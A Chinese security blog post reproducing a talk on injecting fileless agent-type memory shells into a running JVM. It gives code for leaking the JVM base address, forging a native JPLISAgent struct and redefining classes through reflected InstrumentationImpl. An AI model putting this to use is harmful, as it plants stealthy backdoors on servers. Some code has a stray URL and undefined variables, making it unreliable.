议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

无文件落地Agent型内存马植入 可行性分析
使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent
Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com)

首先,我们先看一下通过Agent动态修改类的流程:

议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

1.在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath; 2.服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理; 3.服务端处理线程调用dequeue方法取出AttachOperation; 4.服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的); 5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能; 6.执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:

议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7.InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0 8.执行流继续走入Native层:

议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

以上是议题中的原文。个人解释一下自己的理解
我们在server端的agentmain处下断点,可以发现server端的调用栈是从InstrumentationImpl类开始的,这就是原文中的第六步,而之前几步都是client 或者native层的操作。因此在java层,我们可以直接从InstrumentationImpl类入手构造恶意代码。
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

这样就要先构造InstrumentationImpl类,看一下构造函数,结合之前debug生成的信息,发现var3=true,var4=false,需要构造的只要var1,即mNativeAgent,这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。说明我们需要在native层构造合适的C++对象JPLISAgent。议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

private InstrumentationImpl(long var1, boolean var3, boolean var4) { this.mNativeAgent = var1; //这个参数 this.mEnvironmentSupportsRedefineClasses = var3; this.mEnvironmentSupportsRetransformClassesKnown = false; this.mEnvironmentSupportsRetransformClasses = false; this.mEnvironmentSupportsNativeMethodPrefix = var4; }

组建JPLISAgent
native内存操作 (32条消息) java native内存_JVM Heap Memory和Native Memory_海阔山高人为峰的博客-CSDN博客
https://xz.aliyun.com/t/10186#toc-1
我们要在native层创建对象,就必然要操作native内存,即堆外内存。可以使用directByteBuffer,看一下directByteBuffer的实现,其主要是对unsafe进行了一个封装,主要内存操作还是调用unsafe。因此使用unsafe也可以实现内存分配。
DirectByteBuffer(int cap) {// package-private super(-1, 0, cap, cap); boolean pa = VM.isDirectMemoryPageAligned(); //是否页对齐 int ps = Bits.pageSize(); //获取pageSize大小 long size = Math.max(1L, (long) cap + (pa ? ps : 0)); //如果是页对齐的话,那么就加上一页的大小 Bits.reserveMemory(size, cap); //对分配的直接内存做一个记录long base = 0; try { base = unsafe.allocateMemory(size); //实际分配内存 } catch (OutOfMemoryError x) { Bits.unreserveMemory(size, cap); throw x; } unsafe.setMemory(base, size, (byte) 0); //初始化内存 //计算地址 if (pa && (base % ps != 0)) { // Round up to page boundary address = base + ps - (base & (ps - 1)); } else { address = base; } //生成Cleaner cleaner = Cleaner.create(this, new Deallocator(base, size, cap)); att = null; }

Unsafe unsafe = null; try {Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) {throw new AssertionError(e); }

分析JPLISAgent结构
struct _JPLISAgent { JavaVM *mJVM; /* handle to the JVM */ JPLISEnvironmentmNormalEnvironment; /* for every thing but retransform stuff */ JPLISEnvironmentmRetransformEnvironment; /* for retransform stuff only */ jobjectmInstrumentationImpl; /* handle to the Instrumentation instance */ jmethodIDmPremainCaller; /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */ jmethodIDmAgentmainCaller; /* method on the InstrumentationImpl for agents loaded via attach mechanism */ jmethodIDmTransform; /* method on the InstrumentationImpl that does the class file transform */ jbooleanmRedefineAvailable; /* cached answer to "does this agent support redefine" */ jbooleanmRedefineAdded; /* indicates if can_redefine_classes capability has been added */ jbooleanmNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */ jbooleanmNativeMethodPrefixAdded; /* indicates if can_set_native_method_prefix capability has been added */ char const *mAgentClassName; /* agent class name */ char const *mOptionsString; /* -javaagent options string */ };

JPLISAgent结构复杂,所以我们从后面的redefineclass入手,看一下哪些参数需要。
void redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) { jvmtiEnv*jvmtienv= jvmti(agent); jbooleanerrorOccurred= JNI_FALSE; jclassclassDefClass= NULL; jmethodIDgetDefinitionClassMethodID= NULL; jmethodIDgetDefinitionClassFileMethodID= NULL; jvmtiClassDefinition* classDefs= NULL; jbyteArray* targetFiles= NULL; jsizenumDefs= 0; ...

这里根据用法可以看出jvmti是一个宏或函数,搜索一下可以发现这是个宏
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

可以确定redefineclass需要mNormalEnvironment参数。
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

来看一下这个参数的结构。
struct _JPLISEnvironment { jvmtiEnv *mJVMTIEnv; /* the JVM TI environment */ JPLISAgent *mAgent; /* corresponding agent */ jbooleanmIsRetransformer; /* indicates if special environment */ };

可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。
定位JVMTIEnv 【议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马】这里rebeyond师傅用的是动态调试方法。本人不太会,主要是不知道是如何定位JPLISAgent地址的。
因此参考https://xz.aliyun.com/t/10186#toc-3中的技术
思路整理:游望之师傅的文章https://xz.aliyun.com/t/10186#toc-3
通过
JNI_GetCreatedJavaVMs(&vm, 1, &count);

获取vm对象,然后
vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

获取_jvmti_env。
以上代码都是java原生libjava.so中的方法。通过elf导出符号定位想要将之替换的导出函数,进行内存修改即可完成native层的调用。
个人的windows实现思路(未实现)
配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址,然后因为rebeyond师傅测试出JVMTIEnv对象存在于jvm模块的地址空间中,而且偏移量是固定的,那么我们尝试另外编写一个JNI程序,然后调用
vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

获取_jvmti_env地址与jvm.dll的地址对比即可得到偏移量。
jni程序c代码
#include "pch.h" #include "getAgent.h" #include"getJPSAgent.h" #include "jvmti.h" JNIEXPORT void JNICALL Java_getJPSAgent_caloffset (JNIEnv*, jobject) { struct JavaVM_* vm; jsize count; typedef jint(JNICALL* GetCreatedJavaVMs)(JavaVM**, jsize, jsize*); //本来想直接调用GetCreatedJavaVMs函数但是缺少特定头文件,因此只能typedef定义另一个结构相同的函数 GetCreatedJavaVMs jni_GetCreatedJavaVMs; // ... jni_GetCreatedJavaVMs = (GetCreatedJavaVMs)GetProcAddress(GetModuleHandle( TEXT("jvm.dll")), "JNI_GetCreatedJavaVMs"); //由于jvm.dll在java程序开始时就已经加载,因此可以直接获取dll中JNI_GetCreatedJavaVMs的地址 jni_GetCreatedJavaVMs(&vm, 1, &count); //获取jvm对象的地址 struct jvmtiEnv_* _jvmti_env; HMODULE jvm = GetModuleHandle(L"jvm.dll"); //获取jvm基址 vm->functions->GetEnv(vm, (void**)&_jvmti_env, JVMTI_VERSION_1_2); //获取_jvmti_env的地址,即即指向JVMTIEnv指针的指针。 printf(" hModule jvm = 0x%llx\n", jvm); printf(" struct JavaVM_* vm = 0x%llx\n", vm); printf(" _jvmti_env = 0x%llx\n", _jvmti_env); ; }

议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

再用x64dbg attach进程查看_jvmti_env的内容,绿线标出的就是JVMTIEnv的地址
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

多次计算可以发现此java版本的jvmti_env对jvm.dll基址的偏移量固定,为0x9D6760。
此时,需要解决jvm基址的问题,由于aslr的原因,jvm基址不固定。这里有两种方法,一种为rebeyond师傅介绍的技术信息泄露获取JVM基址,另一种尝试配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址。(没试过)
信息泄露获取JVM基址 这里rebeyond师傅的思路应该是 先使用unsafe来allocate一块很小的内存,并且打印出它的地址。这样在进行动态调试时就可以直接定位到这块内存。而在这块内存空间周围有一些可疑的指针,查看一下正好有直接指向jvm.dll基址的指针。
编写如下代码:
long allocateMemory = unsafe.allocateMemory(3); System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

输出如下:
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

定位到地址0x20F03026430:
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间内:
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

由于这些指针不是固定的,每次调试都会有不同的结果,但是是伪随机,有一定的规律。因此rebeyond师傅使用了统计学的方法,编写程序反复收集对应的数据,将指针地址后两位,指针指向的内容的后两位,以及该指针与jvm.dll基址的偏移量,收集成表。再后续判断基址时,通过前两项判断指针是否有效,通过偏移量来确定jvm.dll的基址。
String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'"; //patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64 // patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64 long jvmtiOffset=0x79a220; //for java_8_271_x64 相对基址固定 // jvmtiOffset=0x78a280; //for windows_java_8_301_x64 // jvmtiOffset=0xf9c520; //for linux_java_8_301_x64 List patternList = new ArrayList(); for (String pair : patterns.split(",")) { String offset = pair.split(":")[0].replace("'", "").trim(); String value = https://www.it610.com/article/pair.split(":")[1].replace("'", "").trim(); String delta = pair.split(":")[2].replace("'", "").trim(); Map pattern = new HashMap(); pattern.put("offset", offset); pattern.put("value", value); pattern.put("delta", delta); patternList.add(pattern); } //构建不同版本jdk对应的offset,value,deltaint offset = 8; int targetHexLength=8; //on linux,change it to 12. for (int j = 0; j < 0x2000; j++)//down search { for (int x : new int[]{-1, 1}) { long target = unsafe.getAddress(allocateMemory + j * x * offset); //获取allocateMemory前后的内容 String targetHex = Long.toHexString(target); //将目标地址转换成16进制字符串 if (target % 8 > 0 || targetHex.length() != targetHexLength) {//看目标地址是否是8的倍数,其内容是否是8位 continue; } if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) { continue; } System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j); for (Map patternMap : patternList) {//符合前面条件后,进一步去匹配MapList中的内容 targetHex = Long.toHexString(target); if (targetHex.endsWith(patternMap.get("offset"))) {//先匹配offset String targetValueHex = Long.toHexString(unsafe.getAddress(target)); System.out.println("[!]bingo."); if (targetValueHex.endsWith(patternMap.get("value"))) {//再匹配value System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at:" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j); System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16))); //找到后拿目标地址减去偏移量就是基址 System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset)); //基址加上jvmtiOffset就是jvmti object addr,即mJVMTIEnv long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30; long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset; long agentAddress = getAgent(jvmtiAddress); System.out.println("agentAddress:" + Long.toHexString(agentAddress)); Bird bird = new Bird(); bird.sayHello(); doAgent(agentAddress); //doAgent(Long.parseLong(address)); bird.sayHello(); return; }

开始组装 rebeyond师傅的组装代码,这里有些参数不太懂,使用下面反射构造的方法
private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr = unsafe.allocateMemory(0x200); long jvmtiStackAddr = unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr, jvmtiAddress); unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel); unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l); System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168)); unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0); unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x10, agentAddr); unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x28, agentAddr); unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l); unsafe.putLong(agentAddr + 0x38, 0); unsafe.putLong(agentAddr + 0x40, 0); unsafe.putLong(agentAddr + 0x48, 0); unsafe.putLong(agentAddr + 0x50, 0); unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l); unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; }

现在的思路:
先使用JNI获取native_jvmtienv
使用反射构造sun.instrument.InstrumentationImpl对象
Unsafe unsafe = null; try {Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } long JPLISAgent = unsafe.allocateMemory(0x1000); unsafe.putLong(JPLISAgent + 8, native_jvmtienv); unsafe.putByte(native_jvmtienv + 361, (byte) 2); Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object insn = constructor.newInstance(JPLISAgent, true, false);

然后就可以使用addtransformer方法等。
现在addtransformer方法遇到了问题,抛出异常。主要是这里有一个能否retransform的判断。
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

这里通过反射更改紫色字段的值可以解决,但是后续在setHasRetransformableTransformers方法处还是会报异常。
议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
文章图片

因此舍弃通过retransform来更改class的方法。
我们使用redefineClazz来重定义class实现更改。
核心代码
使用javaassist实现类的更改,反射调用redefineClasses来实现class的替换.更改java.io.RandomAccessFile类中getFD方法的代码
public void redefine(Object insn,Class instrument_clazz) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { ClassPool pool = ClassPool.getDefault(); CtClass string_clazz = null; string_clazz = pool.get("java.io.RandomAccessFile"); CtMethod method_getname = string_clazz.getDeclaredMethod("getFD"); method_getname.insertBefore("System.out.println(\"hi, from java instrucment api\"); "); //CtClass ctClass = pool.makeClass(new FileInputStream("D:\\内存马\\java-agent\\java.io.RandomAccessFile.txt\\java\\io\\RandomAccessFile.class")); //获取Ctclass对象 byte[] bytes = ctClass.toBytecode(); //取出其字节码 ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytes); //将字节码作为参数,重构java.io.RandomAccessFile Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); //反射调用redefineClass redefineClazz.invoke(insn, new Object[] { new ClassDefinition[] { definition } }); }

到这里基本完成了无文件型agent内存马。
最后再来整理一下实现思路。
  • 首先我们要实现无文件型agent内存马,需要先构造sun.instrument.InstrumentationImpl对象
  • 而这个构造函数需要mnativeagent参数,这个参数需要我们定位JVMTIEnv,JVMTIEnv与jvm基址的偏移量固定,因此我们确定jvm基址,这里使用rebeyond师傅的信息泄露获取JVM基址来实现。
  • 获得JVMTIEnv后需要先使用unsafe方法在native层创建JPLISAgent指针,并将JVMTIEnv存放在+8偏移处。
  • 使用反射构造sun.instrument.InstrumentationImpl对象,并调用相关方法
  • 配合javaassist更改需要的类的字节码,调用redefineClasses来实现class的替换。

    推荐阅读